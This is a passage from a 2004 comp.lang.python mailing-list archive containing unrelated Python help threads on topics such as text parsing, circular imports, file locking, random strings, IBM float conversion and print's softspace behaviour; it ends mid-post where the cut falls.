In-Reply-To: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
Message-ID: <c0632m$mpn$1@news.service.uci.edu>

Check out: http://pygame.org/

If your son is interested in making games, and you want him to learn 
Python, I believe that link will help you.

  - Josiah


From wweston at att.net  Wed Feb  4 16:09:58 2004
From: wweston at att.net (wes weston)
Date: Wed, 04 Feb 2004 21:09:58 GMT
Subject: Line Text Parsing
In-Reply-To: <Xns948575A2C930Aacuencacanadacom@198.161.157.145>
References: <5b4785ee.0311150736.48aef621@posting.google.com>
	<mailman.765.1068940219.702.python-list@python.org>
	<Xns948575A2C930Aacuencacanadacom@198.161.157.145>
Message-ID: <GcdUb.176154$6y6.3422026@bgtnsc05-news.ops.worldnet.att.net>



allanc wrote:
> I'm new with python so bear with me.
> 
> I'm looking for a way to elegantly parse fixed-width text data (as opposed 
> to CSV) and saving the parsed data unto a database. The text data comes 
> from an old ISAM-format table and each line may be a different record 
> structure depending on key fields in the line.
> 
> RegExp with match and split are of interest but it's been too long since 
> I've dabbled with RE to be able to judge whether its use will make the 
> problem more complex.
> 
> Here's a sample of the records I need to parse:
> 
> 01508390019002      11284361000002SUGARPLUM
> 015083915549           SHORT ON LAST ORDER 
> 0150839220692 000002EA BMC   15 KG   001400
> 
> 1st Line is a (portion of) header record.
> 2nd Line is an text instruction record.
> 3rd Line is a Transaction Line Item record.
> 
> Each type of record has a different structure. But these set of lines 
> appear in the one table.
> 
> 
> Any ideas would be greatly appreciated.
> 
> Allan

Allan,
     Maybe this will help more:

 >>> line = "015083915549           SHORT ON LAST ORDER 0150839220692"
 >>> print line[0:10]
0150839155
 >>> print line [:10]
0150839155
 >>> print line[5:10]
39155
 >>> print line[-10:-1]
083922069
 >>> print int(line[-10:-1])
83922069
 >>> print "  xyz  ".strip()
xyz

wes



From shuvit at 127.0.0.1  Thu Feb 19 00:39:50 2004
From: shuvit at 127.0.0.1 (David MacQuigg)
Date: Wed, 18 Feb 2004 22:39:50 -0700
Subject: Idle won't start
References: <ecebe16b.0312141050.4a10fbba@posting.google.com>
Message-ID: <8eh830tlh056hk21hm9v49m3qcinjv4pq9@4ax.com>

On 14 Dec 2003 10:50:29 -0800, kmneilso at yahoo.com (Kerry Neilson)
wrote:

>For the past couple of months, Idle won't start when I invoke it.  I
>am at a complete loss for why this is.  When this happens, they python
>command line still starts, and python works fine otherwise.
>Most interesting to me is that a reboot won't fix the problem.  But if
>I just try it again sometime later it will work.  Anyone have any
>ideas?  I'm running python 2.3 on windows 2000 professional.

This might be a different problem if your problem is truly
intermittent, but I am finding that IDLE has conflicts with other
installed programs.  I have been running Python 2.3 under Windows
XP-Home with no problem for the last few months.  Yesterday I
installed Ruby 1.8.1-11 and now IDLE won't start.  No response to
clicking the icon, selecting the menu item,  Nada.  Removing Ruby
restores IDLE.

With Ruby installed, when I run IDLE from a command line
C:\Python23\Lib\idlelib>idle.py
I get a message:
"""
_tkinter.TclError: Cant find a usable init.tcl in the following
directories:  <c:\ruby\tcl\lib\tcl8.3> <c:\ruby\tcl\lib\tcl8.3>
c:/ruby/tcl/lib/tcl8.4  C:/Python23/lib/tcl8.4  C:/lib/tcl8.4
C:/library
This probably means that Tcl wasn't installed properly.
"""
I have no idea why IDLE is looking for library routines in the Ruby
subdirectories, or why all the strange variations in the search path
above, but it is clear that Ruby and IDLE cannot co-exist on one
computer.

Note:  Re-installing Python23 after Ruby is installed doesn't help.
You have to remove Ruby completely.

-- Dave



From jepler at unpythonic.net  Sun Feb 29 10:42:18 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Sun, 29 Feb 2004 09:42:18 -0600
Subject: Identity dictionnary
In-Reply-To: <js-665C5B.03054329022004@biggoron.nerim.net>
References: <js-665C5B.03054329022004@biggoron.nerim.net>
Message-ID: <20040229154217.GA29004@unpythonic.net>

You might consider defining a mapping which appears to be {item: value}
but is internally {hash(item): (item, value)}.  You might be able to
subclass dict or start with UserDict to do this.  This will certainly
avoid the problem of ever calling item.__eq__ when doing an operation on
the map, without relying on stuff that is poorly documented at best and
implementation-specific or just plain unreliable at worst.

Jeff



From fuka at fuxoft.cz  Sat Feb  7 13:23:37 2004
From: fuka at fuxoft.cz (Frantisek Fuka)
Date: Sat, 07 Feb 2004 19:23:37 +0100
Subject: Basic 'import' problem
Message-ID: <c03aeb$12q8$1@ns.felk.cvut.cz>

This thing keeps bugging me. It's probably some basic misunderstanding 
on my part but I am stumped. Let's say I have two Python files: file.py 
and file2.py. Their contents is as follows:

file.py:
---------------------
import file2
def hello():
	print "Hello"
file2.hello2()

file2.py:
---------------------
import file
def hello2():
	print "Hello2"
file.hello()

Now, when I run "file.py", I get the following error:

Traceback (most recent call last):
   File "file.py", line 1, in ?
     import file2
   File "/cygdrive/t/python/file2.py", line 1, in ?
     import file
   File "T:\python\file.py", line 4, in ?
     file2.hello2()
AttributeError: 'module' object has no attribute 'hello2'

I think I grasp why I got this error (file2.hello2() is referenced 
before its definition was "compiled" by Python) but I am puzzled as to 
how to do this properly. Isn't it fairly common for two source files to 
reference each other in this way? I know I can solve this by putting the 
import statement after the def statement, but I have the similar problem 
in much larger project, with many files and many includes and I'd like 
to keep all my includes at the beginning of the file.

-- 
                                          Frantisek Fuka
(yes, that IS my real name)
(and it's pronounced "Fran-tjee-shek Foo-kah")
----------------------------------------------------
My E-mail:   fuka at fuxoft.cz
My Homepage: http://www.fuxoft.cz
My ICQ:      2745855


From bartekgorny at interia.pl  Wed Feb 25 08:26:00 2004
From: bartekgorny at interia.pl (Taki Jeden)
Date: Wed, 25 Feb 2004 14:26:00 +0100
Subject: [wxPython] table with long lines wrapped?
Message-ID: <c1i7pu$pe2$1@atlantis.news.tpi.pl>

Hi

I'm trying to figure out how to produce, in wxPython, a
table/list/grid/whatever which would wrap long lines, and of course adjust
row height. But I can't find any ready-made widget, nor any sensible
solution. My recent idea is to use wxHtmlWindow to produce ordinary html
table - I hope somebody here knows a better way to do that :)

Bartek G.


From sdb1031 at yahoo.com  Sat Feb 14 02:36:12 2004
From: sdb1031 at yahoo.com (Stephen Briley)
Date: Fri, 13 Feb 2004 23:36:12 -0800 (PST)
Subject: Generating and printing a range of ip addresses
Message-ID: <20040214073612.19320.qmail@web60910.mail.yahoo.com>

Hi all,

I would like to write a python script that takes input
of 2 ip address, one a start address and the other the
end address and prints a list of all ip address in
between  in dotted-decimal format.  I've attempted to
use the ipv4 module
(http://pynms.sourceforge.net/ipv4.html) ,but I am
unable to get past this error  "AttributeError: 'str'
object has no attribute '_address".  

Can any suggest a solution to this problem? Is there a
better way than using the ipv4 module?

Thanks,

Steve

>>> from ipv4 import *
>>> ip = IPv4('10.0.0.1')
>>> startadd = ip.nexthost()
>>> endadd = ('10.0.3.0')
>>> print startadd
10.0.0.2
>>> print endadd
10.0.3.0

>>> while startadd != endadd:
... 	startadd = ip.nexthost()
... 	print startadd
... 	
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
  File "C:\Python23\lib\ipv4.py", line 250, in __cmp__
    return cmp(self._address, other._address)
AttributeError: 'str' object has no attribute '_address'

__________________________________
Do you Yahoo!?
Yahoo! Finance: Get your refund fast by filing online.
http://taxes.yahoo.com/filing.html



From rdjdvd at inwind.it  Mon Feb 23 09:17:01 2004
From: rdjdvd at inwind.it (RDJ)
Date: 23 Feb 2004 06:17:01 -0800
Subject: Nokia prefers Python to Perl for smartphone scripting
Message-ID: <c88425e6.0402230617.5eea3376@posting.google.com>

Article from

http://www.theregister.co.uk/content/64/35040.html


From sean_berry at cox.net  Thu Feb 26 16:26:54 2004
From: sean_berry at cox.net (Sean Berry)
Date: Thu, 26 Feb 2004 15:26:54 -0600
Subject: Simple question for all of you python gurus
References: <NYu%b.12366$qL1.145@fed1read02>
	<103svepnqovuk5e@corp.supernews.com>
Message-ID: <Kav%b.12478$qL1.8196@fed1read02>

Thanks to you both.

os.chdir ... I knew it was something simple.  Sorry for the wasted
bandwidth.

Cameron Laird <claird at lairds.com> wrote in message
news:103svepnqovuk5e at corp.supernews.com...
> In article <NYu%b.12366$qL1.145 at fed1read02>,
> Sean Berry <sean_berry at cox.net> wrote:
> .
> .
> .
> >so I tried to do something like this
> >os.system("cd /home/%s/.tmda/pending" %userid)
> >li = os.popen("/usr/bin/grep -i %s" %phase)
> >lis = lis.readlines()
> >
> >But since cd is a shell command, it does not seem to work either.
> >
> >How can I do this?
> .
> .
> .
>   import os
>
>   os.chdir("/home/%s/.tmda/pending" % userid)
>   li = os.popen(...
> --
>
> Cameron Laird <claird at phaseit.net>
> Business:  http://www.Phaseit.net




From omission9 at invalid.email.info  Thu Feb 19 20:16:54 2004
From: omission9 at invalid.email.info (omission9)
Date: Fri, 20 Feb 2004 01:16:54 GMT
Subject: #! Question
In-Reply-To: <30875970.0402191650.57dfe998@posting.google.com>
References: <30875970.0402191650.57dfe998@posting.google.com>
Message-ID: <aedZb.31082$5W3.11642@nwrddc02.gnilink.net>

Ian Pellew wrote:
> Hi All;
> 
> How do I get line one to call python:-
> This is line one in my python script 
> #!C:/Program Files/Python2.3.3/python.exe
> 
> gives:-
> Win32_Prompt> "C:\Documents and Settings\ipellew\My Documents\gt.py"
> c:\Progra~1\Python2.3.3\python.exe: can't open file './C:\Documents
> and Settings\ipellew\My Documents\gt.py'
> 
> my python script is in:-
> "C:\Documents and Settings\ipellew\My Documents"
> 
> Regards
> Ian
You should have python.exe in you path. In any event, the space in 
"Program Files" is sure to cause trouble. Put anything with spaces 
inside double quotes.
#!"C:/Program Files/Python2.3.3/python.exe" will work.



From peter at engcorp.com  Thu Feb 19 14:12:17 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 19 Feb 2004 14:12:17 -0500
Subject: How do make a function that creates a sequence of
	nrandomnumbers?
References: <mailman.38.1077148009.27104.python-list@python.org>
	<403425F1.28A2E1F7@engcorp.com>
	<2h6Zb.11279$PY.7045@newssvr26.news.prodigy.com>
Message-ID: <40350A91.34489D65@engcorp.com>

Robin Munn wrote:
> 
> Peter Hansen <peter at engcorp.com> wrote:
> > Tony Meyer wrote:
> >>
> >> > > Thanks, everyone. Also, I'd really like to know how to remove the
> >> > > lowest number from the sequence.
> >> > Now this really sounds like homework.
> >>
> >> OT, but if you were a teacher assigning homework like this, wouldn't you
> >> read c.l.p to see which of your students asked the homework questions?  (Or
> >> at the least, google through the list when the homework is handed in?)
> >
> > Given that most people, and almost always those posting questions about
> > homework or how-to-write-spamsoft, either use fake email addresses, or
> > hide behind cute "handles" and generic web-mail accounts, there's little chance
> > that a professor will actually be able to match the request with an
> > actual student, I would think.
> 
> Oh, I can think of one way: make another fake E-mail address (or a rea
> but pseudonymous Hotmail account) and answer the student's request on
> Usenet, giving a full and complete solution that happens to be
> deliberately wrong. Then see if the student even bothers to test the
> answer they copy and paste.

Oh, nasty. :-)  Unfortunately slipping that past some of the people in
this newsgroup would be very difficult.  Maybe a direct email would be
better...  and maybe it's already been happening and we just don't know it.


-Peter


From kdahlhaus at yahoo.com  Fri Feb 20 08:14:45 2004
From: kdahlhaus at yahoo.com (Kevin Dahlhausen)
Date: 20 Feb 2004 05:14:45 -0800
Subject: jython import
References: <283adf56.0402131222.fd998c0@posting.google.com>
	<402e2fd2$0$569$e4fe514c@news.xs4all.nl>
Message-ID: <283adf56.0402200514.d170dc6@posting.google.com>

Thanks.  (Had tried both).  Turns out I was running into issues
setting the classpath correctly (cygin bash, calling native win java,
it's easy to miss-step when adding paths with spaces).


From max at alcyone.com  Thu Feb  5 22:08:51 2004
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 05 Feb 2004 19:08:51 -0800
Subject: Python can't divide??!?!
References: <mailman.1252.1076003166.12720.python-list@python.org>
Message-ID: <40230543.616FFFAB@alcyone.com>

Dan Williams wrote:

> Fire up python or whatever.
> 
> Do this:     Result:
> 
> 3 / 5        0                       Fair enough, int / int = int
> 3 / 5.0      0.59999999999999998     eh?
> 3.0 / 3      0.59999999999999998     ummmm...
> 3.0 / 5.0    0.59999999999999998     how did I guess...
> 
> That's just an example. Python cannot divide. Period.

Neither can C, C++, Java, Perl, or any of the other countless
programming languages which use floating point.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ I thought I might never see another Saturday night.
    -- Robert S. MacNamara


From sross at connectmail.carleton.ca  Thu Feb 19 20:29:33 2004
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Thu, 19 Feb 2004 20:29:33 -0500
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de> <7xsmh6a7cd.fsf@ruckus.brouhaha.com>
Message-ID: <RpdZb.10783$Cd6.717545@news20.bellglobal.com>

"Paul Rubin" <http://phr.cx at NOSPAM.invalid> wrote in message
news:7xsmh6a7cd.fsf at ruckus.brouhaha.com...
[snip]
>
> import array
> from random import randint
> d = array.array('B')
> for i in xrange(1000000):
>   d.append(randint(0,255))
> s = d.tostring()

Hi.

Actually, that is pretty slow: 42.79s (on my machine)

The OP's solution took 23.94s
My sampling with replacement took 7.68s

No doubt someone else will come up with something faster.

I'd be interested to see how

s = open("/dev/urandom").read(3000)

compares, and, if better, whether something similar can
be done on Windows.








From paul at prescod.net  Tue Feb 17 10:33:58 2004
From: paul at prescod.net (Paul Prescod)
Date: Tue, 17 Feb 2004 07:33:58 -0800
Subject: [Announce] pyobfuscate
In-Reply-To: <Pine.LNX.4.44.0402171603010.12164-100000@maggie.lkpg.cendio.se>
References: <Pine.LNX.4.44.0402171603010.12164-100000@maggie.lkpg.cendio.se>
Message-ID: <40323466.8050805@prescod.net>

It is not entirely uncommon to write python code that depends on exact 
method or variable names:

if hasattr(obj, "somemethod"):
	doOneThing()
else:
	doSomethingElse()

Will the pyobfuscate break code like this?

  Paul Prescod





From this at is.for.spambot  Tue Feb 10 19:59:47 2004
From: this at is.for.spambot (Benjamin Han)
Date: Tue, 10 Feb 2004 19:59:47 -0500
Subject: server bootstrapping upon connection (WARNING: LONG)
References: <ef08387c.0402100854.7c03b60c@posting.google.com>
	<86fzdiydpu.fsf@stronzo.brainbot.com> (null) (null)
	<2004021016361216807%this@isforspambot>
	<86k72uzfih.fsf@stronzo.brainbot.com>
Message-ID: <2004021019594716807%this@isforspambot>

On 2004-02-10 18:22:30 -0500, ralf at brainbot.com said:

> Benjamin Han <this at is.for.spambot> writes:
> 
>> On 2004-02-10 13:46:37 -0500, ralf at brainbot.com said:
>> 
>>> fortepianissimo at yahoo.com.tw (Fortepianissimo) writes:
>>>> The problem: I need to prevent multiple copies of the server being
>>>> started. I did this by using file locking (fcntl.lockf()). However,
>>>> not every time the code successfully prevented the server being
>>>> started up more than one time. Here is the relevant code:
>>> When using fcntl.lockf different FooClient instances in the same
>>> process will be able lock the file and start another server. You could
>>> either use fcntl.flock to prevent that or use some global flag.
>> 
>> Hm... I didn't know there's a difference between flock() and lockf(),
>> and I didn't get much info from the document either. Could you explain
>> a bit on why lockf() would not lock the file?
> 
> Well, it might lock the file multiple times in the same
> process. That's the problem:
> ----
> import fcntl
> 
> def getlockfile():
>     return open('serverStart.lock', 'w')
> 
> def getlock(f):
>     try:
>         lock(f.fileno(), fcntl.LOCK_EX|fcntl.LOCK_NB)
>     except:
>         return False
>     return True
> 
> def doit():
>     f1 = getlockfile()
>     f2 = getlockfile()
>     print getlock(f1), getlock(f2)
> 
> lock = fcntl.lockf
> doit()
> 
> lock = fcntl.flock
> doit()
> ---
> 
> Output is:
> True True
> True False

Ok I've since changed all lockf() to flock(), but from the "ps" log 
during the stress test, I still get two servers started up, listed by 
ps like this:

27308  ??  S      0:01.25 python -OO fooServer.py
27465  ??  SV     0:01.25 python -OO fooServer.py

In this case the one with pid 27308 was the first server process 
started. Some time later, with unknown reason, another server entry 
will show up in ps log, but the status is always "RV" or "SV" (e.g., 
pid 27465). The way I started the server in the code is os.system() 
call, and from the man page of ps, 'V' means "The process is suspended 
during a vfork."

The weird thing is I also have log statements in the server script, and 
from the log file only ONE copy is actually started. I start to suspect 
that I might have misunderstood the ps log - could it be there really 
is only ONE copy running, despite there're (up to) 2 entries shown in 
the ps log?

> I just wanted to say, that even if the server is
> listening on that port, that connection attempts may fail.

How is it possible? Could you explain a bit more?

Thanks again,

Ben



From tjreedy at udel.edu  Thu Feb 26 10:23:15 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 26 Feb 2004 10:23:15 -0500
Subject: Play with classes
References: <cth4qte878u.fsf@lcpxdf.wm.lc.ehu.es>
Message-ID: <c1l313$gpa$1@sea.gmane.org>


"Zunbeltz Izaola" <zunbeltz at wm.lc.ehu.es.XXX> wrote in message
news:cth4qte878u.fsf at lcpxdf.wm.lc.ehu.es...
> Hi to all!
>
> I wonder if it possible (i'm sure python can do :-) ) to define classes
on
> runtime. My problem (schematically) is the folowwin.

The class statement, like all statements except the global directive, it a
runtime executable statement.  So, in a sense, all class objects are
defined (created) at runtime.  So you are perhaps asking, "Can I write a
class statement at runtime (using user input)?"  If so, yes.  Create a
string with the code you want executed, then exec it with an exec
statement.  Or you can use the approach others suggested of interpreting
user input to build up a class object.  Your choice.

Terry J. Reedy






From anton at vredegoor.doge.nl  Fri Feb 27 21:24:57 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Sat, 28 Feb 2004 03:24:57 +0100
Subject: Newbie lost(new info)
References: <mailman.113.1077727206.8594.python-list@python.org>
	<403ce031$0$12853$3a628fcd@reader1.nntp.hccnet.nl>
	<mailman.132.1077738332.8594.python-list@python.org>
	<103q9kkjbru46bb@news.supernews.com>
	<403d3b33$0$11500$3a628fcd@reader2.nntp.hccnet.nl>
	<103qid3gv1s2q47@news.supernews.com>
	<mailman.150.1077786326.8594.python-list@python.org>
Message-ID: <403ffc4d$0$12853$3a628fcd@reader1.nntp.hccnet.nl>

Angelo Secchi <secchi at sssup.it> wrote:

>>from binascii import hexlify
>>inf = file('foo','rb')
>>data = inf.read(1970)
>>for i in range(223):
>>     index = i * 4 + 113
>>     print hexlify(data[index: index + 4])
>
>
>46ee3bb4	(I know that this should be 15612852)
>00000000	(I know that this should be 0)
>00000000	(I know that this should be 0)
>465de39a	(I know that this should be 6153114)
>00000000	(I know that this should be 0)
>00000000	(I know that this should be 0)

Based on this message:

http://groups.google.com/groups?&selm=1993Aug25.074420.28786%40bhof01.ctg.nl

I wrote a function that maybe could do it (use at own risk). It
converts  a 4-byte real from "IBM System/370 Floating Point Format" to
a Python float. In your code above replace one line:

>>     print hexlify(data[index: index + 4])

with:

>>     print ibm370tofloat(data[index: index + 4])


The conversion function and a test function:

import struct

def ibm370tofloat(fourbytes):
    i = struct.unpack('>I',fourbytes)[0]
    sign = [1,-1][bool(i & 0x100000000L)]
    characteristic = ((i >> 24) & 0x7f) - 64
    fraction = (i & 0xffffff)/float(0x1000000L)
    return sign*16**characteristic*fraction   

def test():
    import binascii
    pi = "413243f7"
    s1 = "46ee3bb4"
    s2 = "465de39a"
    for x in [pi,s1,s2]:
        y = binascii.unhexlify(x)
        print ibm370tofloat(y)

if __name__=='__main__':
    test()

output:

3.14159297943
15612852.0
6153114.0

I hope this helps.

Anton




From rogerb at rogerbinns.com  Thu Feb 19 21:51:09 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Thu, 19 Feb 2004 18:51:09 -0800
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de>
	<cs8Zb.59225$IF1.26985@nwrdny03.gnilink.net>
Message-ID: <v99gg1-g7g.ln1@home.rogerbinns.com>

> > How to generate (memory and time)-efficient a string containing
> > random characters?

It depends how random you need it to be.

The approach I take in my test harness (which generates a CSV file
with random contents) is to create a 30,000 character string the
old fashioned way:

  "".join([random.choice(item) for i in range(30000)])

item is a string of which characters to choose from (some fields
are phone numbers, some are names, some are email addresses etc).

To generate a random string I then take random slices of that
30,000 character object.  If I need longer strings, I glue
the random slices together (in a cStringIO).

Roger




From jacek.generowicz at cern.ch  Thu Feb 26 03:29:47 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 26 Feb 2004 09:29:47 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
	<mailman.88.1077699734.8594.python-list@python.org>
	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>
	<mailman.115.1077727957.8594.python-list@python.org>
Message-ID: <tyffzcymef8.fsf@pcepsft001.cern.ch>

Paul Prescod <paul at prescod.net> writes:

> But the more important point is that people do not NEED it much. Guido
> writes hundreds of lines of Python code per week. If he often ran into
> situations where a mutable closure would make a big difference then he
> would presumably find some way of doing it. The people who want this
> seem most often to be people trying to import their coding styles from
> another language.

Methinks that your image of just how much Guido drives new additions to
the language, is a little dated.


From not.available at na.no  Thu Feb 26 13:35:33 2004
From: not.available at na.no (Noen)
Date: Thu, 26 Feb 2004 18:35:33 GMT
Subject: ImportError: No module named glade??
In-Reply-To: <c1le29$1k37dc$1@ID-224985.news.uni-berlin.de>
References: <c1le29$1k37dc$1@ID-224985.news.uni-berlin.de>
Message-ID: <V%q%b.41607$BD3.8026233@juliett.dax.net>

Lian Liming wrote:

> Hi,
> 
>  I have installed Python2.3, PyGTK 2.0.0, python-gnome2 2.00.00, glade2.
> But when i run BloGTK, which is a tool for blogger developped in Python, 
> the error information dislay:
> 
> Traceback (most recent call last):
>   File "/usr/bin/BloGTK", line 11, in ?
>     import gtk.glade
> ImportError: No module named glade
> 
> What's wrong with that ? I have install glade2!
> Can someone give me some information to solve the problem?
> 
> Thanks in advance.
Perhaps glade++ is in the python2.2 libs?



From joe at notcharles.ca  Sat Feb 28 16:23:15 2004
From: joe at notcharles.ca (Joe Mason)
Date: Sat, 28 Feb 2004 21:23:15 GMT
Subject: Functional languages vs. hybrids (was Re: How does Ruby compare
	to Python?? How good is DESIGN ofRubycompared to Python?)
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
	<slrnc3ob0q.i6n.joe@gate.notcharles.ca>
	<mailman.100.1077717447.8594.python-list@python.org>
	<slrnc3q0j8.jm5.joe@gate.notcharles.ca>
	<t5fq30l29nidjh1tsksm8jlld03ff3av5o@4ax.com>
	<slrnc3qm17.kc4.joe@gate.notcharles.ca>
	<mailman.145.1077775035.8594.python-list@python.org>
	<slrnc3sp7b.mcf.joe@gate.notcharles.ca>
	<mailman.246.1077987607.8594.python-list@python.org>
Message-ID: <slrnc42035.rd5.joe@gate.notcharles.ca>

In article <mailman.246.1077987607.8594.python-list at python.org>, Paul Prescod wrote:
> Joe Mason wrote:
> 
>>...
> > Down in the depths of the compiler, the simplest way to
> > implement (C-style) functions is just to total up all the
> > parameters and local space it will need and lay out a
> > stack frame.
> 
> We're talking about Python and the Python compiler generates Python 
> bytecodes, not machine code!

I wasn't anymore, which is why I changed the thread title.

> Python function calling was never even remotely close to machine 
> function calls for a variety of reasons (primarily the fact that we're 
> talking about an interpreter rather than a compiler).

That's a good thing to point out, though.  I didn't mean to imply that
the first-order-function price was the main, or even an important, thing
that made Python slower than C.  (I actually said that a couple of
times, and kept snipping it because it kept coming out sounding like I
was dumping on Python for being slow.  Should've kept it in.)

Joe


From bignose-hates-spam at and-benfinney-does-too.id.au  Sun Feb  1 21:50:21 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 2 Feb 2004 13:40:21 +1050
Subject: Interactive Shell?
References: <20040201215942.28384.00001169@mb-m15.aol.com>
Message-ID: <slrnc1rfst.ksa.bignose-hates-spam@iris.polar.local>

On 02 Feb 2004 02:59:42 GMT, Andrew Burton wrote:
> I have fun using the interactive shell, playing with strings and
> functions.
> 
> Which is the best was to use Python: from the interactive shell, as a
> scripting language, or as the Python.h library with C? Is the
> interactive shell there for anything beyond prototyping code?

All are useful for different things.  All are Python.  These two
together mean that you can switch between the different modes as the
need arises.

-- 
 \       "The right to use [strong cryptography] is the right to speak |
  `\                                          Navajo."  -- Eben Moglen |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From cpl.19.ghum at spamgourmet.com  Thu Feb  5 07:33:24 2004
From: cpl.19.ghum at spamgourmet.com (Harald Massa)
Date: Thu, 5 Feb 2004 13:33:24 +0100
Subject: self-extracting installators in Python?
References: <bvourc$d4r$1@atlantis.news.tpi.pl>
	<8089854e.0402040053.2c34d0d3@posting.google.com>
	<Xns9485A8296FB5Ccpl19ghumspamgourmet@62.153.159.134>
	<f6554b84.0402042247.5c0b1b34@posting.google.com>
Message-ID: <Xns94868B5548957cpl19ghumspamgourmet@62.153.159.134>

Sylwa,


>It is really great thanks!
> Anyway, I don't like the fact that it creates a separate "program" in
> the
> Add/Remove dialog on Windows :( I don't want any of my patches to be
> placed there ... Can I avoid it?

please do your research on 

http://www.jrsoftware.org/isinfo.php


That is the inno setup home page, and inno setup is doing this additions 
to "add/remove" dialog.

-------------------------

next: the world leading pc software manufacturer puts his patches into 
"add/remove Programs dialog" on windows. And in corporate installations 
it is not a bad idea ... imagine the dialog 
"did you install Patch xxxx?" 
"how can I know?"
"look at Settings, control panel, software..."

--------------------------

next: the lines in add/remove program are nothing more than registry 
keys.
And google python modify registry will lead you to some samples of 
removing that key AFTER installation

HTH

Harald



From skchim0 at engr.uky.edu  Sun Feb  1 10:24:56 2004
From: skchim0 at engr.uky.edu (satish)
Date: Sun, 1 Feb 2004 15:24:56 +0000
Subject: Scientific_netcdf
Message-ID: <200402011524.56140.skchim0@engr.uky.edu>

Hi all,

I have installed Scientific Python recently. I got a script which is trying to 
import a module named "Scientific_netcdf". I got an ImportError: No module 
named Scientific_netcdf.  Can someone help me as to how I could procure this 
module ?  


Thanks

Regards,
Satish

-- 
SATISH KUMAR CHIMAKURTHI
Graduate Research Assistant
CFD GROUP
UNIVERSITY OF KENTUCKY
LEXINGTON
KENTUCKY - 40508
Email: skchim0 at engr.uky.edu
Mobile: 859-312-8425



From robin at jessikat.fsnet.co.uk  Sat Feb 28 12:35:20 2004
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sat, 28 Feb 2004 17:35:20 +0000
Subject: Please hear my plea: print without softspace
References: <4041796c.2181078@news.muenster.de>
	<dca1dc79fa2d9efd5bb586b079d4db53.46955@mygate.mailgate.org>
	<edc2QLAGMJQAFwoM@jessikat.fsnet.co.uk>
	<slrnc41i7e.81f.npat@localhost.localdomain>
Message-ID: <X5L0pKAYFNQAFwLb@jessikat.fsnet.co.uk>

In article <slrnc41i7e.81f.npat at localhost.localdomain>, Nick Patavalis
<npat at efault.net> writes
>In article <edc2QLAGMJQAFwoM at jessikat.fsnet.co.uk>, Robin Becker wrote:
>> 
>> 
>> ##############
>> class hidesoftspace:
>>     def __init__(self,fobj):
>>         self.__dict__['_fobj'] = fobj
>>         fobj.softspace = False
>>     def __getattr__(self,a):
>>         if a=='softspace': return False
>>         return getattr(self._fobj,a)
>>     def __setattr__(self,a,v):
>>         if a=='softspace': return
>>         setattr(self._fobj,a,v)
>> 
>> import sys
>> print 'before hiding',1,2,3,4
>> sys.stdout=hidesoftspace(sys.stdout)
>> print 'after  hiding',1,2,3,4
>> ##############
>


>Would you perhaps care to comment a bit more, or provide a pointer to
>some docs? It seems that there is a "softspace" atribute in the
>sys.stdout file object, and that this attribute gets set by the print
>statement itself. With your clever trick you make it imposible for
>someone to set this attribute to anything else but "False". What are
>the exact semantics behind this?
>

>I tried this:
>
>  import sys
>  print sys.stdout.softspace
>  0
>  print "test:", 1, 2, 3, sys.stdout.softspace
>  test: 1 2 3 1
>  print sys.stdout.softspace
>  0
>
>Which seems to support my explanation, but what exactly are the
>semantics of "softspace"?
>
>Thanks
>/npat
>
>

OK I'll try. I believe softspace is a boolean attribute of the standard
file class which is used by print to indicate that a space should be
inserted in the stream before the next item. Logically it should always
be false at the beginning of a print sequence and true after the print
of an item.

You have to be careful testing this as prints at the prompt don't behave
properly ie you always get a linefeed in the command terminal.

try
from sys import stdout
print stdout.softspace,stdout.softspace,;print stdout.softspace

should give

0 1 1

my class just ensures that a wrapped (warped :)) file will never have
its softspace set to true and thus we won't get the extra spaces; in
short print always thinks the wrapped file is at the start of a print
sequence.
-softspaced in the head-ly yrs- 
Robin Becker


From aahz at pythoncraft.com  Sun Feb  1 22:42:56 2004
From: aahz at pythoncraft.com (Aahz)
Date: 1 Feb 2004 22:42:56 -0500
Subject: Speed of attribute lookup (was Re: advice on programming style: is
	multiple inheritance bad?)
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<401d5562$0$318$e4fe514c@news.xs4all.nl>
	<slrnc1r2id.ea6.joe@gate.notcharles.ca>
	<101rd69b9127s51@news.supernews.com>
Message-ID: <bvkh00$38r$1@panix1.panix.com>

In article <101rd69b9127s51 at news.supernews.com>,
John Roth <newsgroups at jhrothjr.com> wrote:
>"Joe Mason" <joe at notcharles.ca> wrote in message
>news:slrnc1r2id.ea6.joe at gate.notcharles.ca...
>> 
>> When profiling a large app at work, we discovered that in C++ accessing
>> every parent class after the first is quite slow.  We were able to just
>> flip the order of inheritance for some classes, but if you're planning a
>> complex use of multiple inheritance you should keep that in mind.  (I'm
>> just assuming it has the same effect in Python.)
>
>Actually, it doesn't. For new style classes, Python precomputes the
>method resolution order, so looking up a method is simply flipping
>through a list of dictionaries until it finds the right one. It's
>basically O(n) in the number of classes in the hierarchy.
>
>Given that you can add or remove attributes from any class at any time,
>it's hard to see how it could be any faster.

Actually, it's easy to see how it could be faster:

The problem with attribute lookup in new-style classes is that any
instance attribute could be a property.  So if Python finds an attribute
